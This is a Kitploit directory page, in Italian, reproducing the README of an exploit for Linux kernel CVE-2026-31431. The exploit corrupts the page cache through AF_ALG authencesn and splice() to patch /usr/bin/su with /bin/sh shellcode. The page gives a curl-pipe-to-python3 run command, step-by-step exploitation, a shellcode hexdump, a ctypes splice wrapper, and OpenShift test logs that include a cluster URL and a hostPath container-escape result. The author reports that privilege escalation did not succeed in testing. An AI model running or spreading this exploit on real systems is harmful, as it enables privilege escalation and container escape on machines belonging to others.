Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-31431 — Exploit per il kernel Linux CVE-2026-31431 che causa la corruzione della page cache tramite la manipolazione di authencesn AEAD, mirato all'escalation dei privilegi in ambienti container e OpenShift. | Kitploit
Strumenti/GitHubGitHub/seanrickerd/cve-2026-31431
Sicurezza dell'Infrastruttura CloudEscalation di PrivilegiSicurezza dei ContenitoriFramework di ExploitAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit per il kernel Linux CVE-2026-31431 che causa la corruzione della page cache tramite la manipolazione di authencesn AEAD, mirato all'escalation dei privilegi in ambienti container e OpenShift.

Vedi Repository
135245 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31431 "Copy Fail" - Vulnerabilità di Corruzione della Page Cache

Corruzione della page cache del kernel Linux tramite manipolazione AEAD authencesn.

⚠️ IMPORTANTE: Aggiornamento sullo Stato dello Sfruttamento (1 maggio 2026)

Dopo test approfonditi su più cluster OpenShift 4.20.16 con kernel RHEL 9.6:

  • ✅ Corruzione della Page Cache: CONFERMATA - shellcode da 160 byte iniettato con successo
  • ✅ Vulnerabilità del Kernel: SFRUTTABILE da container non privilegiati (zero capabilities)
  • ❌ Escalation dei Privilegi: NON RAGGIUNTA - l'UID rimane invariato nonostante la cache corrotta
  • ❌ Esecuzione di Codice: NON OSSERVATA - le pagine modificate sono visibili nelle letture ma non vengono eseguite
  • ✅ SCC Restricted-v2: EFFICACE - previene la fuga dal container, limita il raggio d'esplosione

Vedere la sezione Risultati dei Test Completi per i dettagli completi.


Panoramica

CVE-2026-31431 è una vulnerabilità del kernel Linux nell'implementazione crittografica AEAD authencesn che consente a processi non privilegiati di corrompere la page cache di file leggibili tramite socket AF_ALG e manipolazione della syscall splice().

I test mostrano: La corruzione della page cache funziona in modo affidabile, ma l'escalation dei privilegi NON si verifica sui kernel RHEL 9.6 nei nostri ambienti di test.

Punteggio CVSS: 7.8 (Alto)
Interessati: Versioni del kernel Linux con supporto authencesn (2017-2026)
Divulgazione Pubblica: 29 aprile 2026

Caratteristiche

  • Compatibile con Python 3.9+: Include il wrapper della syscall splice() tramite ctypes
  • Portabile: Funziona su qualsiasi sistema Linux con kernel vulnerabile
  • Affidabile: Non richiede condizioni di race
  • Pulito: Shellcode da 160 byte, sfruttamento deterministico

Requisiti

  • Kernel Linux con implementazione authencesn vulnerabile (patch precedente ad aprile 2026)
  • Python 3.9+
  • Accesso utente non privilegiato
  • Binario setuid leggibile (predefinito: /usr/bin/su)

Utilizzo

Utilizzo di Base```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### Da File Locale```bash
python3 exploit.py
su

Comportamento Effettivo dell'Exploit (Basato sui Test)

Cosa ACCADRÀ:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**Verifica della Cache di Pagina (conferma la corruzione):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

Cosa NON accadrà (in base ai test):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**Conclusione:** Il danneggiamento della page cache riesce, ma l'escalation dei privilegi fallisce.

## Dettagli Tecnici

### Vulnerabilità

L'implementazione di `authencesn` (Authenticated Encryption with Associated Data - Extended Sequence Number) del kernel Linux presenta un difetto nella gestione delle operazioni in-place. Quando si elaborano operazioni AEAD inviate tramite un socket AF_ALG, una pagina della page cache può finire nella scatterlist di destinazione scrivibile del kernel.

### Tecnica di Sfruttamento

1. **Creare un socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurare i parametri AEAD** (chiave, authsize)
3. **Aprire il binario setuid di destinazione** (es. `/usr/bin/su`)
4. **Usare splice()** per portare il binario nella page cache
5. **Attivare l'operazione AEAD in-place** che causa la scrittura nella page cache
6. **Scrivere lo shellcode** 4 byte alla volta
7. **Eseguire il binario modificato** per ottenere root

### Shellcode

L'exploit utilizza uno shellcode di 160 byte che modifica `/usr/bin/su` per:
- Saltare l'autenticazione tramite password
- Concedere l'accesso a una shell root
- Mantenere la funzionalità normale per gli utenti non privilegiati

## Compatibilità con Python 3.9

Python 3.9 e versioni precedenti non dispongono di `os.splice()` nella libreria standard. Questo exploit include un'implementazione basata su ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Questo rende l'exploit funzionante su:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, ecc.)
  • ✅ Python 3.10+
  • ✅ Qualsiasi Python con supporto ctypes

Risultati dei Test Completi

Ambiente di Test 1: Cluster OpenShift 4.20.16 (Primo Test)

Configurazione del Nodo:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (il più restrittivo)
  • UID: 1000830000 (namespace utente)
  • Capabilities: 0x0000000000000000 (ZERO)

Risultati del Test:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### Ambiente di Test 2: Cluster OpenShift Nuovo (Test di Verifica)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configurazione del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identico al Test 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificato)
- UID: 1000810000 (namespace utente)
- Capabilities: 0x0000000000000000 (ZERO)

**Risultati del Test:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Coerenza: risultati riproducibili al 100% su cluster indipendenti

Test di fuga dal container

Scenario A: Con volume hostPath (fuga dal container possibile)```yaml volumes:

  • name: host-usr hostPath: path: /usr
Risultato: ✅ **Fuga dal container** - modifica la cache delle pagine dell'host (Device 33, Inode 4288)

**Scenario B: SCC Restricted-v2 (senza hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Risultato: ❌ Nessuna fuga dal container - interessa solo l'overlay del container (inode separato)

Risultato critico: l'accesso a hostPath (non le capabilities) è il fattore determinante per la fuga dal container.

Perché l'Elevazione dei Privilegi Fallisce

Possibili spiegazioni (richiedono ulteriori ricerche):

  1. Percorsi di codice Lettura vs Esecuzione
    • La corruzione della page cache interessa le operazioni mmap(PROT_READ)
    • I mapping eseguibili mmap(PROT_EXEC) possono bypassare la cache corrotta
    • Il kernel potrebbe usare percorsi di codice diversi per le pagine eseguibili
Scarica lo strumento